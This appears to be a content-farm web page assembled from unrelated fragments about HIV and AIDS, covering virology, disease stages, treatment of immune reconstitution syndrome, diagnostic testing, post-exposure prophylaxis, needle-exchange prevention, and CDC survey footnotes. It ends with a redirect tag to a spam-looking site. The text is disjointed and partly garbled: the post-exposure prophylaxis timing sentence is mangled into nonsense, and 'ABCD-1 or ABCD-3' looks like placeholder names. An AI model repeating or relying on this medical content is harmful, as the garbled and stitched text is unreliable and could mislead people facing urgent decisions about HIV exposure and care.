HIV-1 and HIV-2 are retroviruses in the Retroviridae family, Lentivirus genus. They are enveloped, diploid, single-stranded, positive-sense RNA viruses with a DNA intermediate, which is an integrated viral genome (a provirus) that persists within the host-cell DNA.
The human immunodeficiency virus-1 envelope protein gp120 was shown to induce apoptosis in hippocampal neurons, thus perhaps causing directly the acquired immunodeficiency syndrome dementia syndrome (for references, see Meucci et al., 1998). However, in the presence of either ABCD-1 or ABCD-3, human immunodeficiency virus-1 gp120-induced neuronal death was considerably slowed (Meucci et al., 1998).
^ Jump up to: a b Arthos J, Cicala C, Martinelli E, Macleod K, Van Ryk D, Wei D, Xiao Z, Veenstra TD, Conrad TP, Lempicki RA, McLaughlin S, Pascuccio M, Gopaul R, McNally J, Cruz CC, Censoplano N, Chung E, Reitano KN, Kottilil S, Goode DJ, Fauci AS (2008). “HIV-1 envelope protein binds to and signals through integrin alpha(4)beta(7), the gut mucosal homing receptor for peripheral T cells”. Nature Immunology. 9 (3): 301–9. doi:10.1038/ni1566. PMID 18264102.
After the first month or so, HIV enters the clinical latency stage. This stage can last from a few years to a few decades. Progression can be slowed with antiretroviral therapy. Some people have symptoms. Many people do not, but it’s still contagious.
In people with unmasked IRIS, doctors treat the newly identified opportunistic infection with antimicrobial drugs. Occasionally, when the symptoms are severe, corticosteroids are also used. Usually, when unmasked IRIS occurs, cART is continued. An exception is when a cryptococcal infection affects the brain. Then cART is temporarily interrupted until the infection is controlled.
If the CD4 count is low, people are more likely to develop serious infections and other complications of HIV such as certain cancers. Viral load helps predict how fast the CD4 count is likely to decrease over the next few years.
• Continued efforts to ensure routine and targeted testing can help reduce the number of persons who are unaware of their infection, diagnosis delays, missed opportunities for care and treatment, and HIV transmission.
The goal is to start PEP as soon after exposure as possible if prophylaxis is warranted. CDC recommends providing PEP within 24 to 36 h after a longer interval after exposure requires the advice of an expert.
The official (technical) CDC definition of AIDS is available at http://www.cdc.gov/mmwr/preview/mmwrhtml/00018871.htm AIDS is different in every infected person. Some people die a few months after getting infected, while others live fairly normal lives for many years, even after they “officially” have AIDS. A few HIV-positive people stay healthy for many years even without taking antiretroviral medications (ARVs).
Diagnostic blood tests for AIDS are given to individuals in high-risk populations, pregnant women, health care and public service workers who have been exposed to HIV, those who have symptoms associated with AIDS, or others who fear they may have been exposed to the virus. The first blood test for AIDS was developed in 1985. Patients who are being tested for HIV infection are usually given an enzyme-linked immunosorbent assay (ELISA) test for the presence of HIV antibody in their blood. Positive ELISA results are then tested with a Western blot or immunofluorescence (IFA) assay for confirmation. The combination of the ELISA and Western blot tests is more than 99.9% accurate in detecting HIV infection within four to eight weeks following exposure. The polymerase chain reaction (PCR) test can be used to detect the presence of viral nucleic acids in the very small number of HIV patients who have false-negative results on the ELISA and Western blot tests. These tests are also used to detect viruses and bacteria other than HIV and AIDS.
† During 2008–2015, 20 cities were included; during 2016, 17 cities were included. The following cities were included in all years: Atlanta, Georgia; Boston, Massachusetts; Dallas, Texas; Denver, Colorado; Los Angeles, California; Miami, Florida; Nassau–Suffolk, New York; New Orleans, Louisiana; Newark, New Jersey; Philadelphia, Pennsylvania; San Diego, California; San Francisco, California; San Juan, Puerto Rico; Washington, D.C. Additional cities were included as follows: 2008–2015, Baltimore, Maryland; Chicago, Illinois; Detroit, Michigan; Houston, Texas; New York City, New York; Seattle, Washington; 2016, Memphis, Tennessee; Portland, Oregon; Virginia Beach/Norfolk, Virginia.
If HIV is left untreated, it may take up to 10 or 15 years for the immune system to be so severely damaged it can no longer defend itself at all. However, the speed HIV progresses will vary depending on age, health and background.
Universal precautions within the health care environment are believed to be effective in decreasing the risk of HIV. Intravenous drug use is an important risk factor and harm reduction strategies such as needle-exchange programs and opioid substitution therapy appear effective in decreasing this risk.
^ Jump up to: a b Celum, C; Baeten, JM (February 2012). “Tenofovir-based pre-exposure prophylaxis for HIV prevention: evolving evidence”. Current Opinion in Infectious Diseases. 25 (1): 51–7. doi:10.1097/QCO.0b013e32834ef5ef. PMC 3266126 . PMID 22156901.
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Drug injection and needle sharing – intravenous drug use is an important factor in HIV transmission in developed countries. Sharing needles can expose users to HIV and other viruses, such as hepatitis C. Strategies such as needle-exchange programs are used to reduce the infections caused by drug abuse. If someone needs to use a needle, it must be a clean, unused, unshared needle.
AIDS is caused by a virus called HIV, the Human Immunodeficiency Virus. If you get infected with HIV, your body will try to fight the infection. It will make “antibodies,” special molecules to fight HIV.
* Data include all participants with complete valid survey data who tested negative during NHBS and cycle-specific inclusion criteria: men who have sex with men (born male, identified as male, and had oral or anal sex with another man); persons who inject drugs (injected drugs in the past 12 months); heterosexual persons at increased risk (male or female [not transgender], had sex with a member of the opposite sex in the past 12 months, never injected drugs, and met low income [not exceeding U.S. Department of Health and Human Services poverty guidelines] or low education [high school education or less] criteria). Groups are mutually exclusive. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]